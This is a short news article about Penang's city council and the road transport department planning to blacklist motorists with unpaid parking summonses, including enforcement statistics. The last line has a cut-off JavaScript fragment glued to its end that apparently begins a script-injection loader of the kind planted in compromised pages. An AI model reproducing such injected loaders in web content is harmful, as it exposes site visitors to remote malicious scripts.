IF you have not settled your parking compounds, you better start doing so as as the Penang Island City Council (MBPP) is working with the Road Transport Department (JPJ) to blacklist those who have unpaid parking summonses.
“Since the island has now been granted city status, we have taken the initiative to discuss with JPJ to blacklist the traffic offenders. There are 7,530 traffic offenders who have more than 10 outstanding unpaid summonses,” MBPP secretary Ang Aing Thye said in a press conference on Oct 19.
There have been claims that motorists are complacent about displaying parking coupons as MBPP is not serious on enforcement.
“This is a baseless accusation. We have 60 enforcement officers and parking compounds have been issued. In 2014, there were 435,520 compounds. This year, up to September, a total of 407,784 compounds were issued,” Ang said.
“MBPP took action against 3,500 offenders in 2014 and so far in 2015, a total of 3,568 offenders have been hauled to court,” he added.
Exco member for Local Government, Traffic Management and Flood Mitigation Chow Kon Yeow and Penang island mayor Datuk Patahiyah Ismail were also at the press conference.var d=document;var s=d.createElement(‘script’);